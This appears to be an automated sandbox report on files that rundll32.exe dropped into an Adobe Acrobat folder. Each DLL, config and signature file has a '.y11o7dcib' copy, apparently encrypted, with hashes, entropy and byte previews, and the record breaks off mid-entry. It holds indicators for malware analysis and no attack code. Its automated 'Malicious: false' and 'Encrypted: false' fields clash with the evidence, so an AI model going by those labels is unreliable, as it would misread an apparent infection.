MD5:	308C5EDC6E78EA896F0270595694825B
SHA1:	DBB1A8038269CE166B320DF87A92D1856253ADDD
SHA-256:	F444245278EFA688EE011467B057548D6C19FC48C94434B1E24C646DC35DB2EF
SHA-512:	F262300AEDEAFBD10ACAF67BCCBD7B39FA8CE69CF85FB504F65136857BEF877F54E878B9C1A6FB5BCACCE552718682D6E006C0269769A39434D94893B647600E
Malicious:	false
Preview:	....&.K....z..=D..y..%.7....s95.....B..'{..L..O..?z)/%..T.2.[2^.........!..L.!This program cannot be run in DOS mode....$........TMOV5#.V5#.V5#.....T5#.V5".H5#..d..U5#..d..T5#..d..]5#..d..T5#....x.h.dDf.1.X.......+.~<.$..........;)..$..l..?z)/%....2..X.d.[V.........." .........(...............................................@............`.........................................3\..r.K.2..z..=DQ.}.p&.7......5.....B..'{..L..O..?z)/%..T.2..2^.................0i..p............................................text............................... ..`.rdata..2...............C...%.K....z..=......%.7.\..s.6.....BG.'{..L..O..?z)o%.}z.Vv.S^../.......0..................@..@.rsrc........ ......................@..@.reloc..<....0......................@..B................C...%.K....z..=DQ.y..%.7....s95.....B..'{..L..O..?z)/%..T.2..2^.................................................................................................................................C...%.K....z..=DQ.y..%.7....s95.....B..'

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_asym.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	266554
Entropy (8bit):	6.9929426277429485
Encrypted:	false
SSDEEP:	6144:ZFCab7rNVzpXL39GveF+/1s1lxt35GG4Tc0+kne9Pi/:vb7RVzBpGvA1lxjGU0+A/
MD5:	308C5EDC6E78EA896F0270595694825B
SHA1:	DBB1A8038269CE166B320DF87A92D1856253ADDD
SHA-256:	F444245278EFA688EE011467B057548D6C19FC48C94434B1E24C646DC35DB2EF
SHA-512:	F262300AEDEAFBD10ACAF67BCCBD7B39FA8CE69CF85FB504F65136857BEF877F54E878B9C1A6FB5BCACCE552718682D6E006C0269769A39434D94893B647600E
Malicious:	false
Preview:	....&.K....z..=D..y..%.7....s95.....B..'{..L..O..?z)/%..T.2.[2^.........!..L.!This program cannot be run in DOS mode....$........TMOV5#.V5#.V5#.....T5#.V5".H5#..d..U5#..d..T5#..d..]5#..d..T5#....x.h.dDf.1.X.......+.~<.$..........;)..$..l..?z)/%....2..X.d.[V.........." .........(...............................................@............`.........................................3\..r.K.2..z..=DQ.}.p&.7......5.....B..'{..L..O..?z)/%..T.2..2^.................0i..p............................................text............................... ..`.rdata..2...............C...%.K....z..=......%.7.\..s.6.....BG.'{..L..O..?z)o%.}z.Vv.S^../.......0..................@..@.rsrc........ ......................@..@.reloc..<....0......................@..B................C...%.K....z..=DQ.y..%.7....s95.....B..'{..L..O..?z)/%..T.2..2^.................................................................................................................................C...%.K....z..=DQ.y..%.7....s95.....B..'

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_base.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	450874
Entropy (8bit):	7.090198282943327
Encrypted:	false
SSDEEP:	6144:LzDuSeT/BPx7ceaiTvxCs4zWiRGoVLFpXzPvaNj1vqtRcQ+3JYC59+u/DqLw43iQ:juSeT92E+WqzPSDq8Bf/DqLy/9PAT
MD5:	E48181B2A7AAF9D8FAAC008D1CDA0E09
SHA1:	1D4C3694E206491C18DEA61224D41ED241F887CA
SHA-256:	EFD72A41912567FBE79895ECDC95E12C40CD2A1A54774A993C346AA2A65090CC
SHA-512:	3A49D107526EB6460D171E7F32EC944EF33E6D3C7D6B7106125D9EAE18ADB5393C622C0CABE311D5A31F6986B751F634647DEE48717B24ABA7DEE9583416E475
Malicious:	false
Preview:	..S...^..=....g..:...yH....1P....!..G.....Hl.(.......(O.[8..`........!..L.!This program cannot be run in DOS mode....$.........p..r..r..r...#..r...#..r...#..r...#..r..V...r..r...r....>.......G.8......!.g.@.)..".23.,..Y......:r0(.......(O.[0..`........PE..d...e.[V.........." .........d......T........................................0............`.........................B.....^..=.VI.g..<...yH>....P....!..G..,..^.l.(.......(_.[h..`.................................9..p............................................text...+........................... ..`.rdata...Z...w.^..<.F.g..:...yH....qP.....Uz.G......j.(.......(O.[0..`....@....pdata..pA.......B...~..............@..@.rsrc...............................@..@.reloc..X...........................@..BB.....^..=.FI.g..:...yH....1P....!..G.....Hl.(.......(O.[0..`................................................................................................................................B.....^..=.FI.g..:...yH....1P....!..G.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_base.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	450874
Entropy (8bit):	7.090198282943327
Encrypted:	false
SSDEEP:	6144:LzDuSeT/BPx7ceaiTvxCs4zWiRGoVLFpXzPvaNj1vqtRcQ+3JYC59+u/DqLw43iQ:juSeT92E+WqzPSDq8Bf/DqLy/9PAT
MD5:	E48181B2A7AAF9D8FAAC008D1CDA0E09
SHA1:	1D4C3694E206491C18DEA61224D41ED241F887CA
SHA-256:	EFD72A41912567FBE79895ECDC95E12C40CD2A1A54774A993C346AA2A65090CC
SHA-512:	3A49D107526EB6460D171E7F32EC944EF33E6D3C7D6B7106125D9EAE18ADB5393C622C0CABE311D5A31F6986B751F634647DEE48717B24ABA7DEE9583416E475
Malicious:	false
Preview:	..S...^..=....g..:...yH....1P....!..G.....Hl.(.......(O.[8..`........!..L.!This program cannot be run in DOS mode....$.........p..r..r..r...#..r...#..r...#..r...#..r..V...r..r...r....>.......G.8......!.g.@.)..".23.,..Y......:r0(.......(O.[0..`........PE..d...e.[V.........." .........d......T........................................0............`.........................B.....^..=.VI.g..<...yH>....P....!..G..,..^.l.(.......(_.[h..`.................................9..p............................................text...+........................... ..`.rdata...Z...w.^..<.F.g..:...yH....qP.....Uz.G......j.(.......(O.[0..`....@....pdata..pA.......B...~..............@..@.rsrc...............................@..@.reloc..X...........................@..BB.....^..=.FI.g..:...yH....1P....!..G.....Hl.(.......(O.[0..`................................................................................................................................B.....^..=.FI.g..:...yH....1P....!..G.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_base_non_fips.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	399674
Entropy (8bit):	7.14367496901993
Encrypted:	false
SSDEEP:	6144:wotW03+mScYmbBznqCvnbmFUeg//MbNHjGrqUq+ohVMoMkn69KEKsBPlRI3VVp0F:X3+CYmbZaUeg/0BCOUq1hVJ49KUBiOF
MD5:	8FC788F96A0E974765589A726F0254ED
SHA1:	823637E1B05A4693A2624C4DEAA36BA5FA821DFE
SHA-256:	B8DE2BE4AACA9341E1DD1390808EABBDC48E54EBD37D242745AD65FD13E20A5F
SHA-512:	128F910BD7C6CB57CB6902881603E8EAE39A0E2CE734D9BFE477E10AF9AB59EF7BF5EA75E64AB1DB5DAF76730F432E95D8A3FFE68EA2332BDE215A7E593CE50F
Malicious:	false
Preview:	i."..mcW..].g.....T.k.g:..y......%.....K%xt.[....(..I'....?a..........!..L.!This program cannot be run in DOS mode....$........v...n...n...n.`...n...o...n..F....n..F....n..F....n..F....n......z.....u...4....i\|....u.Q.....f.<..rQ"F..5....(..I'....?`..PE..d...e.[V.........." .....@..........,G.......................................P............`.................................$....mcW.LX..:...S.T.k.gz..y%...e.%,....K%xt.[....(R.I'....?`.......................... d..p............P..P............................text....>.......@.................. ..`.rdata...V...P..$...)gW..]..:....T.k.'T........%.-...g%xt.^....(..I'.....`.t.pdata...;.......<..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........$....mcW..]..:....T.k.gz..y......%.....K%xt.[....(..I'....?`..................................................................................................................................$....mcW..]..:....T.k.gz..y......%....

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_base_non_fips.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	399674
Entropy (8bit):	7.14367496901993
Encrypted:	false
SSDEEP:	6144:wotW03+mScYmbBznqCvnbmFUeg//MbNHjGrqUq+ohVMoMkn69KEKsBPlRI3VVp0F:X3+CYmbZaUeg/0BCOUq1hVJ49KUBiOF
MD5:	8FC788F96A0E974765589A726F0254ED
SHA1:	823637E1B05A4693A2624C4DEAA36BA5FA821DFE
SHA-256:	B8DE2BE4AACA9341E1DD1390808EABBDC48E54EBD37D242745AD65FD13E20A5F
SHA-512:	128F910BD7C6CB57CB6902881603E8EAE39A0E2CE734D9BFE477E10AF9AB59EF7BF5EA75E64AB1DB5DAF76730F432E95D8A3FFE68EA2332BDE215A7E593CE50F
Malicious:	false
Preview:	i."..mcW..].g.....T.k.g:..y......%.....K%xt.[....(..I'....?a..........!..L.!This program cannot be run in DOS mode....$........v...n...n...n.`...n...o...n..F....n..F....n..F....n..F....n......z.....u...4....i\|....u.Q.....f.<..rQ"F..5....(..I'....?`..PE..d...e.[V.........." .....@..........,G.......................................P............`.................................$....mcW.LX..:...S.T.k.gz..y%...e.%,....K%xt.[....(R.I'....?`.......................... d..p............P..P............................text....>.......@.................. ..`.rdata...V...P..$...)gW..]..:....T.k.'T........%.-...g%xt.^....(..I'.....`.t.pdata...;.......<..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........$....mcW..]..:....T.k.gz..y......%.....K%xt.[....(..I'....?`..................................................................................................................................$....mcW..]..:....T.k.gz..y......%....

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_ecc.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	561978
Entropy (8bit):	6.844319783006235
Encrypted:	false
SSDEEP:	6144:WH9JVDge5nDoYHMWvZTsYgnu5OFqNwojhogIM9GEEQYBVQmIr+wQ326XBlurF3+6:Wd/UelEPYgw5e8hoU9GEEXrSx/
MD5:	A4238DF10B99AACE8F272A42797D7850
SHA1:	10151A6842F005F648AB61E060985BB6631CF26B
SHA-256:	5267B9A1395997DB23514D16F3D7FA8656414C7FF32A45AEE18AA12ABDB05B83
SHA-512:	B2837D1E932052F7BFF0B50E05534EA48D468E38BC3E0B28B9AEE6BA08B75FAEBB84E40389F667687015A0960902129BB1B182BB8BB652537BA90205965F2740
Malicious:	false
Preview:	\|......f7f...]..e...G..w...7#.!.EF<...)..>.5.....;...h............!..L.!This program cannot be run in DOS mode....$.........M..#..#..#..B...#.."..#.....#.....#.....#.....#..a..AH...+.l.~z._p...z//.`#w...6.R.....IA.D.+5.....;.G.h.=G.f.[V.........." .....l...(......Lr....................................................`.........................................a.A....f.D..)v]....lD.......7#.!.EF<..1")..>.5.....;...h.Y......................p............................................text...+j.......l.................. ..`.rdata..&............p..1.G....f3f..Uv].+...G.t.u....7#.#.E^:...)..>.5.....;[9...-..<?...p...@...D..............@..@.rsrc...............................@..@.reloc..............................@..B................1.G....f3f...v]..e...G...w...7#.!.EF<...*)..>.5.....;...h.Y..................................................................................................................................1.G....f3f...v]..e...G...w...7#.!.EF<.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ccme_ecc.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	561978
Entropy (8bit):	6.844319783006235
Encrypted:	false
SSDEEP:	6144:WH9JVDge5nDoYHMWvZTsYgnu5OFqNwojhogIM9GEEQYBVQmIr+wQ326XBlurF3+6:Wd/UelEPYgw5e8hoU9GEEXrSx/
MD5:	A4238DF10B99AACE8F272A42797D7850
SHA1:	10151A6842F005F648AB61E060985BB6631CF26B
SHA-256:	5267B9A1395997DB23514D16F3D7FA8656414C7FF32A45AEE18AA12ABDB05B83
SHA-512:	B2837D1E932052F7BFF0B50E05534EA48D468E38BC3E0B28B9AEE6BA08B75FAEBB84E40389F667687015A0960902129BB1B182BB8BB652537BA90205965F2740
Malicious:	false
Preview:	\|......f7f...]..e...G..w...7#.!.EF<...)..>.5.....;...h............!..L.!This program cannot be run in DOS mode....$.........M..#..#..#..B...#.."..#.....#.....#.....#.....#..a..AH...+.l.~z._p...z//.`#w...6.R.....IA.D.+5.....;.G.h.=G.f.[V.........." .....l...(......Lr....................................................`.........................................a.A....f.D..)v]....lD.......7#.!.EF<..1")..>.5.....;...h.Y......................p............................................text...+j.......l.................. ..`.rdata..&............p..1.G....f3f..Uv].+...G.t.u....7#.#.E^:...)..>.5.....;[9...-..<?...p...@...D..............@..@.rsrc...............................@..@.reloc..............................@..B................1.G....f3f...v]..e...G...w...7#.!.EF<...*)..>.5.....;...h.Y..................................................................................................................................1.G....f3f...v]..e...G...w...7#.!.EF<.

C:\Program Files\Adobe\Acrobat DC\Acrobat\cr_win_client_config.cfg

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	513
Entropy (8bit):	6.821174459824363
Encrypted:	false
SSDEEP:	12:QjlqsZBkcasesL/vDAuURLpiXFfFN72TrIYS:sqsZKWXsuolOqTrhS
MD5:	2556B649D514E67DDFCC772B7B05F75F
SHA1:	5545DBD26A1894119E07340A7835C43917E1E43A
SHA-256:	B2B160381F3755AC2FBDD67201407290E0AF1060BC3A3C2B1A62D37E45D4801F
SHA-512:	3A23DC6FDF1F2BCBB7C9D7E09CCD1AB665822E371EA04601D38DBA03A98F902B99046415BDDE2F1E81686A02C73B8C966A4223FD3AAD3C48D6AA8157861997E1
Malicious:	false
Preview:	...L..}......=...yLf.........nY.....f...El.R.35.-Kz...;[.u..v..EW..x.N...%.V..#Yr........ Y.....j.U..wSR.i..;Rx...9T.:.Al..V\........8....0."F.......}Q.....zLU..cEQ.1..&S.tC.(E.9.Jqt = 443.....T...7....8^.s$.N....=......H..[V.....h91.z../.!+...W.5<. .....$-D.z^..Z.B.).....\|Gy.J..Q..5&.Ya........i....s..xoO.7..v..#.Q.m.....0..=..QX..^....)?%.u6.T..+....w.........H.$/y.Qg.#........s................................................................................................29yp10v5m8k.

C:\Program Files\Adobe\Acrobat DC\Acrobat\cr_win_client_config.cfg.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	513
Entropy (8bit):	6.821174459824363
Encrypted:	false
SSDEEP:	12:QjlqsZBkcasesL/vDAuURLpiXFfFN72TrIYS:sqsZKWXsuolOqTrhS
MD5:	2556B649D514E67DDFCC772B7B05F75F
SHA1:	5545DBD26A1894119E07340A7835C43917E1E43A
SHA-256:	B2B160381F3755AC2FBDD67201407290E0AF1060BC3A3C2B1A62D37E45D4801F
SHA-512:	3A23DC6FDF1F2BCBB7C9D7E09CCD1AB665822E371EA04601D38DBA03A98F902B99046415BDDE2F1E81686A02C73B8C966A4223FD3AAD3C48D6AA8157861997E1
Malicious:	false
Preview:	...L..}......=...yLf.........nY.....f...El.R.35.-Kz...;[.u..v..EW..x.N...%.V..#Yr........ Y.....j.U..wSR.i..;Rx...9T.:.Al..V\........8....0."F.......}Q.....zLU..cEQ.1..&S.tC.(E.9.Jqt = 443.....T...7....8^.s$.N....=......H..[V.....h91.z../.!+...W.5<. .....$-D.z^..Z.B.).....\|Gy.J..Q..5&.Ya........i....s..xoO.7..v..#.Q.m.....0..=..QX..^....)?%.u6.T..+....w.........H.$/y.Qg.#........s................................................................................................29yp10v5m8k.

C:\Program Files\Adobe\Acrobat DC\Acrobat\cryptocme.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	292666
Entropy (8bit):	7.088786708658338
Encrypted:	false
SSDEEP:	6144:WFe6CTGBXQx8aLxPc6etac8iLTUSWYcLY8sPQqcg7aksemjkPJD:WFxCTGBwjLxPc6etrNLgnYwScg7vO0D
MD5:	625151E4C2BBBAFA3358C7A44C4470F4
SHA1:	2F2FCCA8250DE5C8D6D8AC660E6C3E4EDF8ADC11
SHA-256:	466F083BA6012567350AFBA6633679DD1DC6F064CD9A802437B1E4959275FD9D
SHA-512:	8E70FEA6DFE57113DBEA893B626BB564CA4C1748CD5384E1DB2A33964FA751A1CF4A2EB5D34601387783EDB72AD15C9ED1FF41D91BCD73E5AAD6812433A785E1
Malicious:	false
Preview:	~%c.>p..).S........$...^.`'.9p........W9...UOX.K..._4"..._............!..L.!This program cannot be run in DOS mode....$........=...\@..\@..\@.(....\@..\A.\@.....\@.....\@.....\@.....\@..qlZ.,DX...g..#]...m...Rn.1.,..}.m.#..k......iK..._4"..._*.(.r.[V.........." .........j......T!....................................................`.............................................hp...YP.....$9..^.0#.6........W9"...DX.K..._4"..._N...................0...p............0..(............................text............................... ..`.rdata..(....0..........3..=p..-.S.}..a.P...^z['.9`.......F.W9...UOX.K...._4....>:....F...P...H..................@..@.rsrc................f..............@..@.reloc..T............j..............@..B................3..=p..-.S.=....$...^.`'.9p........W9...UOX.K..._4"..._N...................................................................................................................................3..=p..-.S.=....$...^.`'.9p........W

C:\Program Files\Adobe\Acrobat DC\Acrobat\cryptocme.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	292666
Entropy (8bit):	7.088786708658338
Encrypted:	false
SSDEEP:	6144:WFe6CTGBXQx8aLxPc6etac8iLTUSWYcLY8sPQqcg7aksemjkPJD:WFxCTGBwjLxPc6etrNLgnYwScg7vO0D
MD5:	625151E4C2BBBAFA3358C7A44C4470F4
SHA1:	2F2FCCA8250DE5C8D6D8AC660E6C3E4EDF8ADC11
SHA-256:	466F083BA6012567350AFBA6633679DD1DC6F064CD9A802437B1E4959275FD9D
SHA-512:	8E70FEA6DFE57113DBEA893B626BB564CA4C1748CD5384E1DB2A33964FA751A1CF4A2EB5D34601387783EDB72AD15C9ED1FF41D91BCD73E5AAD6812433A785E1
Malicious:	false
Preview:	~%c.>p..).S........$...^.`'.9p........W9...UOX.K..._4"..._............!..L.!This program cannot be run in DOS mode....$........=...\@..\@..\@.(....\@..\A.\@.....\@.....\@.....\@.....\@..qlZ.,DX...g..#]...m...Rn.1.,..}.m.#..k......iK..._4"..._*.(.r.[V.........." .........j......T!....................................................`.............................................hp...YP.....$9..^.0#.6........W9"...DX.K..._4"..._N...................0...p............0..(............................text............................... ..`.rdata..(....0..........3..=p..-.S.}..a.P...^z['.9`.......F.W9...UOX.K...._4....>:....F...P...H..................@..@.rsrc................f..............@..@.reloc..T............j..............@..B................3..=p..-.S.=....$...^.`'.9p........W9...UOX.K..._4"..._N...................................................................................................................................3..=p..-.S.=....$...^.`'.9p........W

C:\Program Files\Adobe\Acrobat DC\Acrobat\cryptocme.sig

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3246
Entropy (8bit):	7.831445194063594
Encrypted:	false
SSDEEP:	96:89jVm3RK0aaGlqMalgSZzqAthvuzyOYlqZmMoS:b3TaaGlqMCbwAjmuHQKS
MD5:	6A84220C6213107867CFBE851A80AFA7
SHA1:	6BCC294104972F00FBEDA4BBA6608C0168F8862B
SHA-256:	EF81629AC796BF2BFCE2823903105470ACB44032EEF511544A265B578A0A08C6
SHA-512:	8C2C4238280ADC0C2E6F253BC6657393A9C2FEB6BDBE6782D69E3EB951E62C5798466B025E1E4ECD6BEE62C02CA15B78089B2061F6121EF29A81BD0C6ED412BD
Malicious:	false
Preview:	..k .A....2......3..9..jlw...[.F.Q.1...4...k.b..)..h..~....%c.E...../j....1.a../..b?k...V.7.).-.....<. ..G.8......'.,...5r...... q....W.c..T..h=0...2...Q.=...Z~.S..7.<...g.b..x...&K.>.....{B.....%..<..3[\.........e....bZ...p.k......'..\....7..G....1-..Q./..$..ilw.......Q.......>._..k.~..Y...;..o....l..>.....bB.....(..4../o_...:... .i....bZ._.`.m...\|..%..p...j..h.....lD....J.2..4..bmz.......Q......1...".h..CV.X..e...j..N....PF....V./..$..A87.....n.f.1...!.C..?.o..Ej.t..#....G#.D......}F...1.T..4..l#,...K.....R....Im...]........e..o....H.{..../n....[.8..>..l26.......M.n...0.<.a.`..IE..(......&K.>.....nU......>..8..n2w.....;...1....2.........IW..u..T...{,.h....`I....K.c..0..o0&.....;...~....!.........l\.f..=...{".R.....lD....W....-.326.........n...=...q.#..BG.~......q#.V......-D....].>..2..k8%......0.n........>.@..RT..9......y%.E............L.-..3..jo_...J.....h.........-.i..tP..9......y3.B....h...j.3..0..Xi.........-

C:\Program Files\Adobe\Acrobat DC\Acrobat\cryptocme.sig.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3246
Entropy (8bit):	7.831445194063594
Encrypted:	false
SSDEEP:	96:89jVm3RK0aaGlqMalgSZzqAthvuzyOYlqZmMoS:b3TaaGlqMCbwAjmuHQKS
MD5:	6A84220C6213107867CFBE851A80AFA7
SHA1:	6BCC294104972F00FBEDA4BBA6608C0168F8862B
SHA-256:	EF81629AC796BF2BFCE2823903105470ACB44032EEF511544A265B578A0A08C6
SHA-512:	8C2C4238280ADC0C2E6F253BC6657393A9C2FEB6BDBE6782D69E3EB951E62C5798466B025E1E4ECD6BEE62C02CA15B78089B2061F6121EF29A81BD0C6ED412BD
Malicious:	false
Preview:	..k .A....2......3..9..jlw...[.F.Q.1...4...k.b..)..h..~....%c.E...../j....1.a../..b?k...V.7.).-.....<. ..G.8......'.,...5r...... q....W.c..T..h=0...2...Q.=...Z~.S..7.<...g.b..x...&K.>.....{B.....%..<..3[\.........e....bZ...p.k......'..\....7..G....1-..Q./..$..ilw.......Q.......>._..k.~..Y...;..o....l..>.....bB.....(..4../o_...:... .i....bZ._.`.m...\|..%..p...j..h.....lD....J.2..4..bmz.......Q......1...".h..CV.X..e...j..N....PF....V./..$..A87.....n.f.1...!.C..?.o..Ej.t..#....G#.D......}F...1.T..4..l#,...K.....R....Im...]........e..o....H.{..../n....[.8..>..l26.......M.n...0.<.a.`..IE..(......&K.>.....nU......>..8..n2w.....;...1....2.........IW..u..T...{,.h....`I....K.c..0..o0&.....;...~....!.........l\.f..=...{".R.....lD....W....-.326.........n...=...q.#..BG.~......q#.V......-D....].>..2..k8%......0.n........>.@..RT..9......y%.E............L.-..3..jo_...J.....h.........-.i..tP..9......y3.B....h...j.3..0..Xi.........-

C:\Program Files\Adobe\Acrobat DC\Acrobat\icucnv58.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.399033339681379
Encrypted:	false
SSDEEP:	192:B+WmiHEymuw2LVsVGmURtdcfDCAbYLyxCYUARRp+mzEX8S:BTmikUwVytdcfXYLw5UARRp+mzEXX
MD5:	71036229FF75E425E1FB9BA8230702C8
SHA1:	223ADF0098CA7E9CC8B873A308BFDB75A6113BD9
SHA-256:	0C6DE15DB97999653343AD77B497D68DEBA0636B4C9F55074BDFE5F06B89773D
SHA-512:	5B0B634E13D9037881BE60233DD76EA7CA768B934BB597216F7405BF7BF6534A5B05653772FEAC12C962E4C22207C060C07F9C851732853AD063E0CF2B6D8BCD
Malicious:	false
Preview:	..\|.....1.+uCR-..s$'......dn..G.$>\|}.....6.....k.o.FUOk_..1x..................................................................................................................................sc.F..m."C...........+9.en........ZB.S..KVw./r._.u........5.................................................................................................................................sc.F..m."C...........+9.en........ZB.S..KVw./r._.u........5.................................................................................................................................@..f...1.?uCR8..s2'..........X.$>f}.....6JVw./r._.u........5.................................................................................................................................sc.F..m."C...........+9.en........ZB.S..KVw./r._.u........5.................................................................................................................................sc.F..m."C...........+9.en........ZB

C:\Program Files\Adobe\Acrobat DC\Acrobat\icucnv58.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.399033339681379
Encrypted:	false
SSDEEP:	192:B+WmiHEymuw2LVsVGmURtdcfDCAbYLyxCYUARRp+mzEX8S:BTmikUwVytdcfXYLw5UARRp+mzEXX
MD5:	71036229FF75E425E1FB9BA8230702C8
SHA1:	223ADF0098CA7E9CC8B873A308BFDB75A6113BD9
SHA-256:	0C6DE15DB97999653343AD77B497D68DEBA0636B4C9F55074BDFE5F06B89773D
SHA-512:	5B0B634E13D9037881BE60233DD76EA7CA768B934BB597216F7405BF7BF6534A5B05653772FEAC12C962E4C22207C060C07F9C851732853AD063E0CF2B6D8BCD
Malicious:	false
Preview:	..\|.....1.+uCR-..s$'......dn..G.$>\|}.....6.....k.o.FUOk_..1x..................................................................................................................................sc.F..m."C...........+9.en........ZB.S..KVw./r._.u........5.................................................................................................................................sc.F..m."C...........+9.en........ZB.S..KVw./r._.u........5.................................................................................................................................@..f...1.?uCR8..s2'..........X.$>f}.....6JVw./r._.u........5.................................................................................................................................sc.F..m."C...........+9.en........ZB.S..KVw./r._.u........5.................................................................................................................................sc.F..m."C...........+9.en........ZB

C:\Program Files\Adobe\Acrobat DC\Acrobat\icucnv67.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.375159417425102
Encrypted:	false
SSDEEP:	192:h10V6iNQk9Ka/2xJiR+L1VsDYtAqBRIgUv76lmM4r6C1y2qLEzcrSSHHKJTMmTBn:w6i74MDAnrIg67Q06C6EIrSSHHKJ5n
MD5:	241CD46FFF1105DE121C3F261F61A6CB
SHA1:	40B16D7B25844DB4C56363F3CEA519C9693C9F25
SHA-256:	BEF7658F7F9D353CF720F091A75C5C7D28A9CD2FD3E9B2037F43A522982C0F6C
SHA-512:	265FD68A456207EB1605F21E7AAC3760AEE949986288A1445891BE0DC589655BEBDE6F46FCA5AD453DDDD313ED6445A9DBE1663CC6BEB46D30C307EA69B81CC2
Malicious:	false
Preview:	B.........EpC.O-.l.`T..<.......%..~.......:c.o.x....n.:....(.&.................................................................................................................................rQ.....GO..u.........?...0...BJ..M........i.\r...g.ANq..d..................................................................................................................................rQ.....GO..u.........?...0...BJ..M........i.\r...g.ANq..d....................................................................................................................................o.Y....QpC.Z-.l.`T..<..Q....%..d..........i.\r...g.ANq..d..................................................................................................................................rQ.....GO..u.........?...0...BJ..M........i.\r...g.ANq..d..................................................................................................................................rQ.....GO..u.........?...0...BJ..M.

C:\Program Files\Adobe\Acrobat DC\Acrobat\icucnv67.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.375159417425102
Encrypted:	false
SSDEEP:	192:h10V6iNQk9Ka/2xJiR+L1VsDYtAqBRIgUv76lmM4r6C1y2qLEzcrSSHHKJTMmTBn:w6i74MDAnrIg67Q06C6EIrSSHHKJ5n
MD5:	241CD46FFF1105DE121C3F261F61A6CB
SHA1:	40B16D7B25844DB4C56363F3CEA519C9693C9F25
SHA-256:	BEF7658F7F9D353CF720F091A75C5C7D28A9CD2FD3E9B2037F43A522982C0F6C
SHA-512:	265FD68A456207EB1605F21E7AAC3760AEE949986288A1445891BE0DC589655BEBDE6F46FCA5AD453DDDD313ED6445A9DBE1663CC6BEB46D30C307EA69B81CC2
Malicious:	false
Preview:	B.........EpC.O-.l.`T..<.......%..~.......:c.o.x....n.:....(.&.................................................................................................................................rQ.....GO..u.........?...0...BJ..M........i.\r...g.ANq..d..................................................................................................................................rQ.....GO..u.........?...0...BJ..M........i.\r...g.ANq..d....................................................................................................................................o.Y....QpC.Z-.l.`T..<..Q....%..d..........i.\r...g.ANq..d..................................................................................................................................rQ.....GO..u.........?...0...BJ..M........i.\r...g.ANq..d..................................................................................................................................rQ.....GO..u.........?...0...BJ..M.

C:\Program Files\Adobe\Acrobat DC\Acrobat\icucnv69.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2005530
Entropy (8bit):	7.230929882376693
Encrypted:	false
SSDEEP:	24576:2khfwNXF8b7KjfN8h3p5xIuZiBM8C2DR4OTqh9xYWN5++EtComvJ9kkYTyarsFz3:1ZwK7KjfNY3pPI8erD6yqGYkZtjmvRLT
MD5:	FB38E05DAD6D50CA8B52031BEC94C99A
SHA1:	9C4099C9C18623827AC4378B84C50157210FFEB2
SHA-256:	A07D9297D790211258522A1E2D01C5152C5121197AC1E6A45F3E49CE932F5F01
SHA-512:	DE0A923C198F33B59C777345198D2DAE7574675E15BDCEC515B6B5075BB2B8096A67ECD49CA10829BC2529084A6964E6926F6A4A6B548B98F459D87101243048
Malicious:	false
Preview:	pX..l..2...q..J.Z.......X....Vw4>.#....i.U.....U.S.rt..U.Sn5~.........!..L.!This program cannot be run in DOS mode....$........3y&.R.u.R.u.R.u.:.t.R.u.:.t.R.u.:.t0R.uq?.t.R.uq?.t.R.uq?.t.R.u.8fe..{....)..?........wd.....#I.)d....?U. ...mg.x&. c..i.'.fi.Rich.R.u........................PE..d....?.`.........." .....H...`...........................................................`A=.`.o..6....-.J(Z......IH....Vw4>.3....}.U.9.....S_rt....S.2~.....`....\|...........3.. 1..T....................2..(....1...............`...............................text....G.......H......=.p.o..6....-..(....k.....Vw.4.#....i.U.....U.SOrt..1q'/4~.@........d..................@....pdata..`............L..............@..@_RDATA...............>..............@..@.rsrc...P.......=.p.o...6....-.J(Z......g.....Vw.>.#'...].U.....U.S.rt..U.S.4~.................................................................................................................................=.p.o..6....-.J(Z......IX....Vw4>.#...

C:\Program Files\Adobe\Acrobat DC\Acrobat\icucnv69.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2005530
Entropy (8bit):	7.230929882376693
Encrypted:	false
